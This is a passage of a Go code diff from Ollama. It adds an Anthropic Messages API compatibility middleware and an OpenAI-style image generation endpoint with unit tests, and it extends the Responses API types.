+func AnthropicMessagesMiddleware() gin.HandlerFunc {
+	return func(c *gin.Context) {
+		var req anthropic.MessagesRequest
+		err := c.ShouldBindJSON(&req)
+		if err != nil {
+			c.AbortWithStatusJSON(http.StatusBadRequest, anthropic.NewError(http.StatusBadRequest, err.Error()))
+			return
+		}
+
+		if req.Model == "" {
+			c.AbortWithStatusJSON(http.StatusBadRequest, anthropic.NewError(http.StatusBadRequest, "model is required"))
+			return
+		}
+
+		if req.MaxTokens <= 0 {
+			c.AbortWithStatusJSON(http.StatusBadRequest, anthropic.NewError(http.StatusBadRequest, "max_tokens is required and must be positive"))
+			return
+		}
+
+		if len(req.Messages) == 0 {
+			c.AbortWithStatusJSON(http.StatusBadRequest, anthropic.NewError(http.StatusBadRequest, "messages is required"))
+			return
+		}
+
+		chatReq, err := anthropic.FromMessagesRequest(req)
+		if err != nil {
+			c.AbortWithStatusJSON(http.StatusBadRequest, anthropic.NewError(http.StatusBadRequest, err.Error()))
+			return
+		}
+
+		// Set think to nil when being used with Anthropic API to connect to tools like claude code
+		c.Set("relax_thinking", true)
+
+		var b bytes.Buffer
+		if err := json.NewEncoder(&b).Encode(chatReq); err != nil {
+			c.AbortWithStatusJSON(http.StatusInternalServerError, anthropic.NewError(http.StatusInternalServerError, err.Error()))
+			return
+		}
+
+		c.Request.Body = io.NopCloser(&b)
+
+		messageID := anthropic.GenerateMessageID()
+
+		w := &AnthropicWriter{
+			BaseWriter: BaseWriter{ResponseWriter: c.Writer},
+			stream:     req.Stream,
+			id:         messageID,
+			model:      req.Model,
+			converter:  anthropic.NewStreamConverter(messageID, req.Model),
+		}
+
+		if req.Stream {
+			c.Writer.Header().Set("Content-Type", "text/event-stream")
+			c.Writer.Header().Set("Cache-Control", "no-cache")
+			c.Writer.Header().Set("Connection", "keep-alive")
+		}
+
+		c.Writer = w
+
+		c.Next()
+	}
+}

middleware/anthropic_test.go

@@ -0,0 +1,607 @@
+package middleware
+
+import (
+	"bytes"
+	"encoding/json"
+	"io"
+	"net/http"
+	"net/http/httptest"
+	"strings"
+	"testing"
+
+	"github.com/gin-gonic/gin"
+	"github.com/google/go-cmp/cmp"
+	"github.com/google/go-cmp/cmp/cmpopts"
+
+	"github.com/ollama/ollama/anthropic"
+	"github.com/ollama/ollama/api"
+)
+
+func captureAnthropicRequest(capturedRequest any) gin.HandlerFunc {
+	return func(c *gin.Context) {
+		bodyBytes, _ := io.ReadAll(c.Request.Body)
+		c.Request.Body = io.NopCloser(bytes.NewReader(bodyBytes))
+		_ = json.Unmarshal(bodyBytes, capturedRequest)
+		c.Next()
+	}
+}
+
+// testProps creates ToolPropertiesMap from a map (convenience function for tests)
+func testProps(m map[string]api.ToolProperty) *api.ToolPropertiesMap {
+	props := api.NewToolPropertiesMap()
+	for k, v := range m {
+		props.Set(k, v)
+	}
+	return props
+}
+
+func TestAnthropicMessagesMiddleware(t *testing.T) {
+	type testCase struct {
+		name string
+		body string
+		req  api.ChatRequest
+		err  anthropic.ErrorResponse
+	}
+
+	var capturedRequest *api.ChatRequest
+	stream := true
+
+	testCases := []testCase{
+		{
+			name: "basic message",
+			body: `{
+				"model": "test-model",
+				"max_tokens": 1024,
+				"messages": [
+					{"role": "user", "content": "Hello"}
+				]
+			}`,
+			req: api.ChatRequest{
+				Model: "test-model",
+				Messages: []api.Message{
+					{Role: "user", Content: "Hello"},
+				},
+				Options: map[string]any{"num_predict": 1024},
+				Stream:  &False,
+			},
+		},
+		{
+			name: "with system prompt",
+			body: `{
+				"model": "test-model",
+				"max_tokens": 1024,
+				"system": "You are helpful.",
+				"messages": [
+					{"role": "user", "content": "Hello"}
+				]
+			}`,
+			req: api.ChatRequest{
+				Model: "test-model",
+				Messages: []api.Message{
+					{Role: "system", Content: "You are helpful."},
+					{Role: "user", Content: "Hello"},
+				},
+				Options: map[string]any{"num_predict": 1024},
+				Stream:  &False,
+			},
+		},
+		{
+			name: "with options",
+			body: `{
+				"model": "test-model",
+				"max_tokens": 2048,
+				"temperature": 0.7,
+				"top_p": 0.9,
+				"top_k": 40,
+				"stop_sequences": ["\n", "END"],
+				"messages": [
+					{"role": "user", "content": "Hello"}
+				]
+			}`,
+			req: api.ChatRequest{
+				Model: "test-model",
+				Messages: []api.Message{
+					{Role: "user", Content: "Hello"},
+				},
+				Options: map[string]any{
+					"num_predict": 2048,
+					"temperature": 0.7,
+					"top_p":       0.9,
+					"top_k":       40,
+					"stop":        []string{"\n", "END"},
+				},
+				Stream: &False,
+			},
+		},
+		{
+			name: "streaming",
+			body: `{
+				"model": "test-model",
+				"max_tokens": 1024,
+				"stream": true,
+				"messages": [
+					{"role": "user", "content": "Hello"}
+				]
+			}`,
+			req: api.ChatRequest{
+				Model: "test-model",
+				Messages: []api.Message{
+					{Role: "user", Content: "Hello"},
+				},
+				Options: map[string]any{"num_predict": 1024},
+				Stream:  &stream,
+			},
+		},
+		{
+			name: "with tools",
+			body: `{
+				"model": "test-model",
+				"max_tokens": 1024,
+				"messages": [
+					{"role": "user", "content": "What's the weather?"}
+				],
+				"tools": [{
+					"name": "get_weather",
+					"description": "Get current weather",
+					"input_schema": {
+						"type": "object",
+						"properties": {
+							"location": {"type": "string"}
+						},
+						"required": ["location"]
+					}
+				}]
+			}`,
+			req: api.ChatRequest{
+				Model: "test-model",
+				Messages: []api.Message{
+					{Role: "user", Content: "What's the weather?"},
+				},
+				Tools: []api.Tool{
+					{
+						Type: "function",
+						Function: api.ToolFunction{
+							Name:        "get_weather",
+							Description: "Get current weather",
+							Parameters: api.ToolFunctionParameters{
+								Type:     "object",
+								Required: []string{"location"},
+								Properties: testProps(map[string]api.ToolProperty{
+									"location": {Type: api.PropertyType{"string"}},
+								}),
+							},
+						},
+					},
+				},
+				Options: map[string]any{"num_predict": 1024},
+				Stream:  &False,
+			},
+		},
+		{
+			name: "with tool result",
+			body: `{
+				"model": "test-model",
+				"max_tokens": 1024,
+				"messages": [
+					{"role": "user", "content": "What's the weather?"},
+					{"role": "assistant", "content": [
+						{"type": "tool_use", "id": "call_123", "name": "get_weather", "input": {"location": "Paris"}}
+					]},
+					{"role": "user", "content": [
+						{"type": "tool_result", "tool_use_id": "call_123", "content": "Sunny, 22°C"}
+					]}
+				]
+			}`,
+			req: api.ChatRequest{
+				Model: "test-model",
+				Messages: []api.Message{
+					{Role: "user", Content: "What's the weather?"},
+					{
+						Role: "assistant",
+						ToolCalls: []api.ToolCall{
+							{
+								ID: "call_123",
+								Function: api.ToolCallFunction{
+									Name:      "get_weather",
+									Arguments: testArgs(map[string]any{"location": "Paris"}),
+								},
+							},
+						},
+					},
+					{Role: "tool", Content: "Sunny, 22°C", ToolCallID: "call_123"},
+				},
+				Options: map[string]any{"num_predict": 1024},
+				Stream:  &False,
+			},
+		},
+		{
+			name: "with thinking enabled",
+			body: `{
+				"model": "test-model",
+				"max_tokens": 1024,
+				"thinking": {"type": "enabled", "budget_tokens": 1000},
+				"messages": [
+					{"role": "user", "content": "Hello"}
+				]
+			}`,
+			req: api.ChatRequest{
+				Model: "test-model",
+				Messages: []api.Message{
+					{Role: "user", Content: "Hello"},
+				},
+				Options: map[string]any{"num_predict": 1024},
+				Stream:  &False,
+				Think:   &api.ThinkValue{Value: true},
+			},
+		},
+		{
+			name: "missing model error",
+			body: `{
+				"max_tokens": 1024,
+				"messages": [
+					{"role": "user", "content": "Hello"}
+				]
+			}`,
+			err: anthropic.ErrorResponse{
+				Type: "error",
+				Error: anthropic.Error{
+					Type:    "invalid_request_error",
+					Message: "model is required",
+				},
+			},
+		},
+		{
+			name: "missing max_tokens error",
+			body: `{
+				"model": "test-model",
+				"messages": [
+					{"role": "user", "content": "Hello"}
+				]
+			}`,
+			err: anthropic.ErrorResponse{
+				Type: "error",
+				Error: anthropic.Error{
+					Type:    "invalid_request_error",
+					Message: "max_tokens is required and must be positive",
+				},
+			},
+		},
+		{
+			name: "missing messages error",
+			body: `{
+				"model": "test-model",
+				"max_tokens": 1024
+			}`,
+			err: anthropic.ErrorResponse{
+				Type: "error",
+				Error: anthropic.Error{
+					Type:    "invalid_request_error",
+					Message: "messages is required",
+				},
+			},
+		},
+		{
+			name: "tool_use missing id error",
+			body: `{
+				"model": "test-model",
+				"max_tokens": 1024,
+				"messages": [
+					{"role": "assistant", "content": [
+						{"type": "tool_use", "name": "test"}
+					]}
+				]
+			}`,
+			err: anthropic.ErrorResponse{
+				Type: "error",
+				Error: anthropic.Error{
+					Type:    "invalid_request_error",
+					Message: "tool_use block missing required 'id' field",
+				},
+			},
+		},
+	}
+
+	endpoint := func(c *gin.Context) {
+		c.Status(http.StatusOK)
+	}
+
+	gin.SetMode(gin.TestMode)
+	router := gin.New()
+	router.Use(AnthropicMessagesMiddleware(), captureAnthropicRequest(&capturedRequest))
+	router.Handle(http.MethodPost, "/v1/messages", endpoint)
+
+	for _, tc := range testCases {
+		t.Run(tc.name, func(t *testing.T) {
+			req, _ := http.NewRequest(http.MethodPost, "/v1/messages", strings.NewReader(tc.body))
+			req.Header.Set("Content-Type", "application/json")
+
+			defer func() { capturedRequest = nil }()
+
+			resp := httptest.NewRecorder()
+			router.ServeHTTP(resp, req)
+
+			if tc.err.Type != "" {
+				// Expect error
+				if resp.Code == http.StatusOK {
+					t.Fatalf("expected error response, got 200 OK")
+				}
+				var errResp anthropic.ErrorResponse
+				if err := json.Unmarshal(resp.Body.Bytes(), &errResp); err != nil {
+					t.Fatalf("failed to unmarshal error: %v", err)
+				}
+				if errResp.Type != tc.err.Type {
+					t.Errorf("expected error type %q, got %q", tc.err.Type, errResp.Type)
+				}
+				if errResp.Error.Type != tc.err.Error.Type {
+					t.Errorf("expected error.type %q, got %q", tc.err.Error.Type, errResp.Error.Type)
+				}
+				if errResp.Error.Message != tc.err.Error.Message {
+					t.Errorf("expected error.message %q, got %q", tc.err.Error.Message, errResp.Error.Message)
+				}
+				return
+			}
+
+			if resp.Code != http.StatusOK {
+				t.Fatalf("unexpected status code: %d, body: %s", resp.Code, resp.Body.String())
+			}
+
+			if capturedRequest == nil {
+				t.Fatal("request was not captured")
+			}
+
+			// Compare relevant fields
+			if capturedRequest.Model != tc.req.Model {
+				t.Errorf("model mismatch: got %q, want %q", capturedRequest.Model, tc.req.Model)
+			}
+
+			if diff := cmp.Diff(tc.req.Messages, capturedRequest.Messages,
+				cmpopts.IgnoreUnexported(api.ToolCallFunctionArguments{}, api.ToolPropertiesMap{})); diff != "" {
+				t.Errorf("messages mismatch (-want +got):\n%s", diff)
+			}
+
+			if tc.req.Stream != nil && capturedRequest.Stream != nil {
+				if *tc.req.Stream != *capturedRequest.Stream {
+					t.Errorf("stream mismatch: got %v, want %v", *capturedRequest.Stream, *tc.req.Stream)
+				}
+			}
+
+			if tc.req.Think != nil {
+				if capturedRequest.Think == nil {
+					t.Error("expected Think to be set")
+				} else if capturedRequest.Think.Value != tc.req.Think.Value {
+					t.Errorf("Think mismatch: got %v, want %v", capturedRequest.Think.Value, tc.req.Think.Value)
+				}
+			}
+		})
+	}
+}
+
+func TestAnthropicMessagesMiddleware_Headers(t *testing.T) {
+	gin.SetMode(gin.TestMode)
+
+	t.Run("streaming sets correct headers", func(t *testing.T) {
+		router := gin.New()
+		router.Use(AnthropicMessagesMiddleware())
+		router.POST("/v1/messages", func(c *gin.Context) {
+			// Check headers were set
+			if c.Writer.Header().Get("Content-Type") != "text/event-stream" {
+				t.Errorf("expected Content-Type text/event-stream, got %q", c.Writer.Header().Get("Content-Type"))
+			}
+			if c.Writer.Header().Get("Cache-Control") != "no-cache" {
+				t.Errorf("expected Cache-Control no-cache, got %q", c.Writer.Header().Get("Cache-Control"))
+			}
+			c.Status(http.StatusOK)
+		})
+
+		body := `{"model": "test", "max_tokens": 100, "stream": true, "messages": [{"role": "user", "content": "Hi"}]}`
+		req, _ := http.NewRequest(http.MethodPost, "/v1/messages", strings.NewReader(body))
+		req.Header.Set("Content-Type", "application/json")
+
+		resp := httptest.NewRecorder()
+		router.ServeHTTP(resp, req)
+	})
+}
+
+func TestAnthropicMessagesMiddleware_InvalidJSON(t *testing.T) {
+	gin.SetMode(gin.TestMode)
+	router := gin.New()
+	router.Use(AnthropicMessagesMiddleware())
+	router.POST("/v1/messages", func(c *gin.Context) {
+		c.Status(http.StatusOK)
+	})
+
+	req, _ := http.NewRequest(http.MethodPost, "/v1/messages", strings.NewReader(`{invalid json`))
+	req.Header.Set("Content-Type", "application/json")
+
+	resp := httptest.NewRecorder()
+	router.ServeHTTP(resp, req)
+
+	if resp.Code != http.StatusBadRequest {
+		t.Errorf("expected status 400, got %d", resp.Code)
+	}
+
+	var errResp anthropic.ErrorResponse
+	if err := json.Unmarshal(resp.Body.Bytes(), &errResp); err != nil {
+		t.Fatalf("failed to unmarshal error: %v", err)
+	}
+
+	if errResp.Type != "error" {
+		t.Errorf("expected type 'error', got %q", errResp.Type)
+	}
+	if errResp.Error.Type != "invalid_request_error" {
+		t.Errorf("expected error type 'invalid_request_error', got %q", errResp.Error.Type)
+	}
+}
+
+func TestAnthropicWriter_NonStreaming(t *testing.T) {
+	gin.SetMode(gin.TestMode)
+
+	router := gin.New()
+	router.Use(AnthropicMessagesMiddleware())
+	router.POST("/v1/messages", func(c *gin.Context) {
+		// Simulate Ollama response
+		resp := api.ChatResponse{
+			Model: "test-model",
+			Message: api.Message{
+				Role:    "assistant",
+				Content: "Hello there!",
+			},
+			Done:       true,
+			DoneReason: "stop",
+			Metrics: api.Metrics{
+				PromptEvalCount: 10,
+				EvalCount:       5,
+			},
+		}
+		data, _ := json.Marshal(resp)
+		c.Writer.WriteHeader(http.StatusOK)
+		_, _ = c.Writer.Write(data)
+	})
+
+	body := `{"model": "test-model", "max_tokens": 100, "messages": [{"role": "user", "content": "Hi"}]}`
+	req, _ := http.NewRequest(http.MethodPost, "/v1/messages", strings.NewReader(body))
+	req.Header.Set("Content-Type", "application/json")
+
+	resp := httptest.NewRecorder()
+	router.ServeHTTP(resp, req)
+
+	if resp.Code != http.StatusOK {
+		t.Fatalf("expected status 200, got %d", resp.Code)
+	}
+
+	var result anthropic.MessagesResponse
+	if err := json.Unmarshal(resp.Body.Bytes(), &result); err != nil {
+		t.Fatalf("failed to unmarshal response: %v", err)
+	}
+
+	if result.Type != "message" {
+		t.Errorf("expected type 'message', got %q", result.Type)
+	}
+	if result.Role != "assistant" {
+		t.Errorf("expected role 'assistant', got %q", result.Role)
+	}
+	if len(result.Content) != 1 {
+		t.Fatalf("expected 1 content block, got %d", len(result.Content))
+	}
+	if result.Content[0].Text == nil || *result.Content[0].Text != "Hello there!" {
+		t.Errorf("expected text 'Hello there!', got %v", result.Content[0].Text)
+	}
+	if result.StopReason != "end_turn" {
+		t.Errorf("expected stop_reason 'end_turn', got %q", result.StopReason)
+	}
+	if result.Usage.InputTokens != 10 {
+		t.Errorf("expected input_tokens 10, got %d", result.Usage.InputTokens)
+	}
+	if result.Usage.OutputTokens != 5 {
+		t.Errorf("expected output_tokens 5, got %d", result.Usage.OutputTokens)
+	}
+}
+
+// TestAnthropicWriter_ErrorFromRoutes tests error handling when routes.go sends
+// gin.H{"error": "message"} without a StatusCode field (which is the common case)
+func TestAnthropicWriter_ErrorFromRoutes(t *testing.T) {
+	gin.SetMode(gin.TestMode)
+
+	tests := []struct {
+		name          string
+		statusCode    int
+		errorPayload  any
+		wantErrorType string
+		wantMessage   string
+	}{
+		// routes.go sends errors without StatusCode in JSON, so we must use HTTP status
+		{
+			name:          "404 with gin.H error (model not found)",
+			statusCode:    http.StatusNotFound,
+			errorPayload:  gin.H{"error": "model 'nonexistent' not found"},
+			wantErrorType: "not_found_error",
+			wantMessage:   "model 'nonexistent' not found",
+		},
+		{
+			name:          "400 with gin.H error (bad request)",
+			statusCode:    http.StatusBadRequest,
+			errorPayload:  gin.H{"error": "model is required"},
+			wantErrorType: "invalid_request_error",
+			wantMessage:   "model is required",
+		},
+		{
+			name:          "500 with gin.H error (internal error)",
+			statusCode:    http.StatusInternalServerError,
+			errorPayload:  gin.H{"error": "something went wrong"},
+			wantErrorType: "api_error",
+			wantMessage:   "something went wrong",
+		},
+		{
+			name:       "404 with api.StatusError",
+			statusCode: http.StatusNotFound,
+			errorPayload: api.StatusError{
+				StatusCode:   http.StatusNotFound,
+				ErrorMessage: "model not found via StatusError",
+			},
+			wantErrorType: "not_found_error",
+			wantMessage:   "model not found via StatusError",
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			router := gin.New()
+			router.Use(AnthropicMessagesMiddleware())
+			router.POST("/v1/messages", func(c *gin.Context) {
+				// Simulate what routes.go does - set status and write error JSON
+				data, _ := json.Marshal(tt.errorPayload)
+				c.Writer.WriteHeader(tt.statusCode)
+				_, _ = c.Writer.Write(data)
+			})
+
+			body := `{"model": "test-model", "max_tokens": 100, "messages": [{"role": "user", "content": "Hi"}]}`
+			req, _ := http.NewRequest(http.MethodPost, "/v1/messages", strings.NewReader(body))
+			req.Header.Set("Content-Type", "application/json")
+
+			resp := httptest.NewRecorder()
+			router.ServeHTTP(resp, req)
+
+			if resp.Code != tt.statusCode {
+				t.Errorf("expected status %d, got %d", tt.statusCode, resp.Code)
+			}
+
+			var errResp anthropic.ErrorResponse
+			if err := json.Unmarshal(resp.Body.Bytes(), &errResp); err != nil {
+				t.Fatalf("failed to unmarshal error response: %v\nbody: %s", err, resp.Body.String())
+			}
+
+			if errResp.Type != "error" {
+				t.Errorf("expected type 'error', got %q", errResp.Type)
+			}
+			if errResp.Error.Type != tt.wantErrorType {
+				t.Errorf("expected error type %q, got %q", tt.wantErrorType, errResp.Error.Type)
+			}
+			if errResp.Error.Message != tt.wantMessage {
+				t.Errorf("expected message %q, got %q", tt.wantMessage, errResp.Error.Message)
+			}
+		})
+	}
+}
+
+func TestAnthropicMessagesMiddleware_SetsRelaxThinkingFlag(t *testing.T) {
+	gin.SetMode(gin.TestMode)
+
+	var flagSet bool
+	router := gin.New()
+	router.Use(AnthropicMessagesMiddleware())
+	router.POST("/v1/messages", func(c *gin.Context) {
+		_, flagSet = c.Get("relax_thinking")
+		c.Status(http.StatusOK)
+	})
+
+	body := `{"model": "test-model", "max_tokens": 100, "messages": [{"role": "user", "content": "Hi"}]}`
+	req, _ := http.NewRequest(http.MethodPost, "/v1/messages", strings.NewReader(body))
+	req.Header.Set("Content-Type", "application/json")
+
+	resp := httptest.NewRecorder()
+	router.ServeHTTP(resp, req)
+
+	if !flagSet {
+		t.Error("expected relax_thinking flag to be set in context")
+	}
+}

middleware/openai.go

@@ -8,6 +8,7 @@ import (
 	"math/rand"
 	"net/http"
 	"strings"
+	"time"
 
 	"github.com/gin-gonic/gin"
 
@@ -49,6 +50,11 @@ type EmbedWriter struct {
 	encodingFormat string
 }
 
+type ImageWriter struct {
+	BaseWriter
+	done bool
+}
+
 func (w *BaseWriter) writeError(data []byte) (int, error) {
 	var serr api.StatusError
 	err := json.Unmarshal(data, &serr)
@@ -273,6 +279,36 @@ func (w *EmbedWriter) Write(data []byte) (int, error) {
 	return w.writeResponse(data)
 }
 
+func (w *ImageWriter) writeResponse(data []byte) (int, error) {
+	var generateResponse api.GenerateResponse
+	err := json.Unmarshal(data, &generateResponse)
+	if err != nil {
+		return 0, err
+	}
+
+	// Image generation doesn't support streaming in the OpenAI API sense,
+	// so we only write the response when done with images
+	if generateResponse.Done && len(generateResponse.Images) > 0 {
+		w.done = true
+		w.ResponseWriter.Header().Set("Content-Type", "application/json")
+		err = json.NewEncoder(w.ResponseWriter).Encode(openai.ToImageGenerationResponse(generateResponse))
+		if err != nil {
+			return 0, err
+		}
+	}
+
+	return len(data), nil
+}
+
+func (w *ImageWriter) Write(data []byte) (int, error) {
+	code := w.ResponseWriter.Status()
+	if code != http.StatusOK {
+		return w.writeError(data)
+	}
+
+	return w.writeResponse(data)
+}
+
 func ListMiddleware() gin.HandlerFunc {
 	return func(c *gin.Context) {
 		w := &ListWriter{
@@ -392,6 +428,43 @@ func EmbeddingsMiddleware() gin.HandlerFunc {
 	}
 }
 
+func ImageGenerationsMiddleware() gin.HandlerFunc {
+	return func(c *gin.Context) {
+		var req openai.ImageGenerationRequest
+		err := c.ShouldBindJSON(&req)
+		if err != nil {
+			c.AbortWithStatusJSON(http.StatusBadRequest, openai.NewError(http.StatusBadRequest, err.Error()))
+			return
+		}
+
+		if req.Prompt == "" {
+			c.AbortWithStatusJSON(http.StatusBadRequest, openai.NewError(http.StatusBadRequest, "prompt is required"))
+			return
+		}
+
+		if req.Model == "" {
+			c.AbortWithStatusJSON(http.StatusBadRequest, openai.NewError(http.StatusBadRequest, "model is required"))
+			return
+		}
+
+		var b bytes.Buffer
+		genReq := openai.FromImageGenerationRequest(req)
+		if err := json.NewEncoder(&b).Encode(genReq); err != nil {
+			c.AbortWithStatusJSON(http.StatusInternalServerError, openai.NewError(http.StatusInternalServerError, err.Error()))
+			return
+		}
+
+		c.Request.Body = io.NopCloser(&b)
+
+		w := &ImageWriter{
+			BaseWriter: BaseWriter{ResponseWriter: c.Writer},
+		}
+
+		c.Writer = w
+		c.Next()
+	}
+}
+
 func ChatMiddleware() gin.HandlerFunc {
 	return func(c *gin.Context) {
 		var req openai.ChatCompletionRequest
@@ -441,6 +514,7 @@ type ResponsesWriter struct {
 	stream     bool
 	responseID string
 	itemID     string
+	request    openai.ResponsesRequest
 }
 
 func (w *ResponsesWriter) writeEvent(eventType string, data any) error {
@@ -478,7 +552,9 @@ func (w *ResponsesWriter) writeResponse(data []byte) (int, error) {
 
 	// Non-streaming response
 	w.ResponseWriter.Header().Set("Content-Type", "application/json")
-	response := openai.ToResponse(w.model, w.responseID, w.itemID, chatResponse)
+	response := openai.ToResponse(w.model, w.responseID, w.itemID, chatResponse, w.request)
+	completedAt := time.Now().Unix()
+	response.CompletedAt = &completedAt
 	return len(data), json.NewEncoder(w.ResponseWriter).Encode(response)
 }
 
@@ -523,11 +599,12 @@ func ResponsesMiddleware() gin.HandlerFunc {
 
 		w := &ResponsesWriter{
 			BaseWriter: BaseWriter{ResponseWriter: c.Writer},
-			converter:  openai.NewResponsesStreamConverter(responseID, itemID, req.Model),
+			converter:  openai.NewResponsesStreamConverter(responseID, itemID, req.Model, req),
 			model:      req.Model,
 			stream:     streamRequested,
 			responseID: responseID,
 			itemID:     itemID,
+			request:    req,
 		}
 
 		// Set headers based on streaming mode

middleware/openai_test.go

@@ -961,3 +961,143 @@ func TestRetrieveMiddleware(t *testing.T) {
 		}
 	}
 }
+
+func TestImageGenerationsMiddleware(t *testing.T) {
+	type testCase struct {
+		name string
+		body string
+		req  api.GenerateRequest
+		err  openai.ErrorResponse
+	}
+
+	var capturedRequest *api.GenerateRequest
+
+	streamFalse := false
+	testCases := []testCase{
+		{
+			name: "image generation handler",
+			body: `{
+				"model": "flux",
+				"prompt": "a cat"
+			}`,
+			req: api.GenerateRequest{
+				Model:  "flux",
+				Prompt: "a cat",
+				Stream: &streamFalse,
+			},
+		},
+		{
+			name: "image generation with size",
+			body: `{
+				"model": "flux",
+				"prompt": "a dog",
+				"size": "512x512"
+			}`,
+			req: api.GenerateRequest{
+				Model:  "flux",
+				Prompt: "a dog",
+				Stream: &streamFalse,
+			},
+		},
+		{
+			name: "missing prompt error",
+			body: `{
+				"model": "flux"
+			}`,
+			err: openai.ErrorResponse{
+				Error: openai.Error{
+					Message: "prompt is required",
+					Type:    "invalid_request_error",
+				},
+			},
+		},
+		{
+			name: "missing model error",
+			body: `{
+				"prompt": "a cat"
+			}`,
+			err: openai.ErrorResponse{
+				Error: openai.Error{
+					Message: "model is required",
+					Type:    "invalid_request_error",
+				},
+			},
+		},
+	}
+
+	endpoint := func(c *gin.Context) {
+		c.Status(http.StatusOK)
+	}
+
+	gin.SetMode(gin.TestMode)
+	router := gin.New()
+	router.Use(ImageGenerationsMiddleware(), captureRequestMiddleware(&capturedRequest))
+	router.Handle(http.MethodPost, "/api/generate", endpoint)
+
+	for _, tc := range testCases {
+		t.Run(tc.name, func(t *testing.T) {
+			req, _ := http.NewRequest(http.MethodPost, "/api/generate", strings.NewReader(tc.body))
+			req.Header.Set("Content-Type", "application/json")
+
+			resp := httptest.NewRecorder()
+			router.ServeHTTP(resp, req)
+
+			var errResp openai.ErrorResponse
+			if resp.Code != http.StatusOK {
+				if err := json.Unmarshal(resp.Body.Bytes(), &errResp); err != nil {
+					t.Fatal(err)
+				}
+			}
+
+			if capturedRequest != nil && !reflect.DeepEqual(tc.req, *capturedRequest) {
+				t.Fatalf("requests did not match\nExpected: %+v\nActual: %+v", tc.req, *capturedRequest)
+			}
+
+			if !reflect.DeepEqual(tc.err, errResp) {
+				t.Fatalf("errors did not match\nExpected: %+v\nActual: %+v", tc.err, errResp)
+			}
+
+			capturedRequest = nil
+		})
+	}
+}
+
+func TestImageWriterIntegration(t *testing.T) {
+	gin.SetMode(gin.TestMode)
+
+	t.Run("transforms generate response to openai format", func(t *testing.T) {
+		router := gin.New()
+		router.Use(ImageGenerationsMiddleware())
+		router.POST("/api/generate", func(c *gin.Context) {
+			// Simulate an image generation response
+			generateResponse := api.GenerateResponse{
+				Done:      true,
+				CreatedAt: time.Now(),
+				Images:    []string{"base64encodedimage"},
+			}
+			c.JSON(http.StatusOK, generateResponse)
+		})
+
+		req, _ := http.NewRequest(http.MethodPost, "/api/generate", strings.NewReader(`{"model":"flux","prompt":"a cat"}`))
+		req.Header.Set("Content-Type", "application/json")
+
+		resp := httptest.NewRecorder()
+		router.ServeHTTP(resp, req)
+
+		if resp.Code != http.StatusOK {
+			t.Fatalf("expected status 200, got %d: %s", resp.Code, resp.Body.String())
+		}
+
+		var response openai.ImageGenerationResponse
+		if err := json.Unmarshal(resp.Body.Bytes(), &response); err != nil {
+			t.Fatalf("failed to unmarshal response: %v", err)
+		}
+
+		if len(response.Data) != 1 {
+			t.Fatalf("expected 1 image, got %d", len(response.Data))
+		}
+		if response.Data[0].B64JSON != "base64encodedimage" {
+			t.Fatalf("expected image data 'base64encodedimage', got '%s'", response.Data[0].B64JSON)
+		}
+	})
+}

openai/openai.go

@@ -630,6 +630,10 @@ func nameFromToolCallID(messages []Message, toolCallID string) string {
 
 // decodeImageURL decodes a base64 data URI into raw image bytes.
 func decodeImageURL(url string) (api.ImageData, error) {
+	if strings.HasPrefix(url, "http://") || strings.HasPrefix(url, "https://") {
+		return nil, errors.New("image URLs are not currently supported, please use base64 encoded data instead")
+	}
+
 	types := []string{"jpeg", "jpg", "png", "webp"}
 
 	// Support blank mime type to match /api/chat's behavior of taking just unadorned base64
@@ -733,3 +737,46 @@ func FromCompleteRequest(r CompletionRequest) (api.GenerateRequest, error) {
 		DebugRenderOnly: r.DebugRenderOnly,
 	}, nil
 }
+
+// ImageGenerationRequest is an OpenAI-compatible image generation request.
+type ImageGenerationRequest struct {
+	Model          string `json:"model"`
+	Prompt         string `json:"prompt"`
+	N              int    `json:"n,omitempty"`
+	Size           string `json:"size,omitempty"`
+	ResponseFormat string `json:"response_format,omitempty"`
+}
+
+// ImageGenerationResponse is an OpenAI-compatible image generation response.
+type ImageGenerationResponse struct {
+	Created int64            `json:"created"`
+	Data    []ImageURLOrData `json:"data"`
+}
+
+// ImageURLOrData contains either a URL or base64-encoded image data.
+type ImageURLOrData struct {
+	URL     string `json:"url,omitempty"`
+	B64JSON string `json:"b64_json,omitempty"`
+}
+
+// FromImageGenerationRequest converts an OpenAI image generation request to an Ollama GenerateRequest.
+func FromImageGenerationRequest(r ImageGenerationRequest) api.GenerateRequest {
+	stream := false
+	return api.GenerateRequest{
+		Model:  r.Model,
+		Prompt: r.Prompt,
+		Stream: &stream,
+	}
+}
+
+// ToImageGenerationResponse converts an Ollama GenerateResponse to an OpenAI ImageGenerationResponse.
+func ToImageGenerationResponse(resp api.GenerateResponse) ImageGenerationResponse {
+	data := make([]ImageURLOrData, 0)
+	for _, img := range resp.Images {
+		data = append(data, ImageURLOrData{B64JSON: img})
+	}
+	return ImageGenerationResponse{
+		Created: resp.CreatedAt.Unix(),
+		Data:    data,
+	}
+}

openai/responses.go

@@ -4,6 +4,7 @@ import (
 	"encoding/json"
 	"fmt"
 	"math/rand"
+	"time"
 
 	"github.com/ollama/ollama/api"
 )
@@ -265,9 +266,9 @@ type ResponsesText struct {
 type ResponsesTool struct {
 	Type        string         `json:"type"` // "function"
 	Name        string         `json:"name"`
-	Description string         `json:"description,omitempty"`
-	Strict      bool           `json:"strict,omitempty"`
-	Parameters  map[string]any `json:"parameters,omitempty"`
+	Description *string        `json:"description"` // nullable but required
+	Strict      *bool          `json:"strict"`      // nullable but required
+	Parameters  map[string]any `json:"parameters"`  // nullable but required
 }
 
 type ResponsesRequest struct {
@@ -475,11 +476,16 @@ func convertTool(t ResponsesTool) (api.Tool, error) {
 		}
 	}
 
+	var description string
+	if t.Description != nil {
+		description = *t.Description
+	}
+
 	return api.Tool{
 		Type: t.Type,
 		Function: api.ToolFunction{
 			Name:        t.Name,
-			Description: t.Description,
+			Description: description,
 			Parameters:  params,
 		},
 	}, nil
@@ -516,17 +522,60 @@ func convertInputMessage(m ResponsesInputMessage) (api.Message, error) {
 
 // Response types for the Responses API
 
+// ResponsesTextField represents the text output configuration in the response.
+type ResponsesTextField struct {
+	Format ResponsesTextFormat `json:"format"`
+}
+
+// ResponsesReasoningOutput represents reasoning configuration in the response.
+type ResponsesReasoningOutput struct {
+	Effort  *string `json:"effort,omitempty"`
+	Summary *string `json:"summary,omitempty"`
+}
+
+// ResponsesError represents an error in the response.
+type ResponsesError struct {
+	Code    string `json:"code"`
+	Message string `json:"message"`
+}
+
+// ResponsesIncompleteDetails represents details about why a response was incomplete.
+type ResponsesIncompleteDetails struct {
+	Reason string `json:"reason"`
+}
+
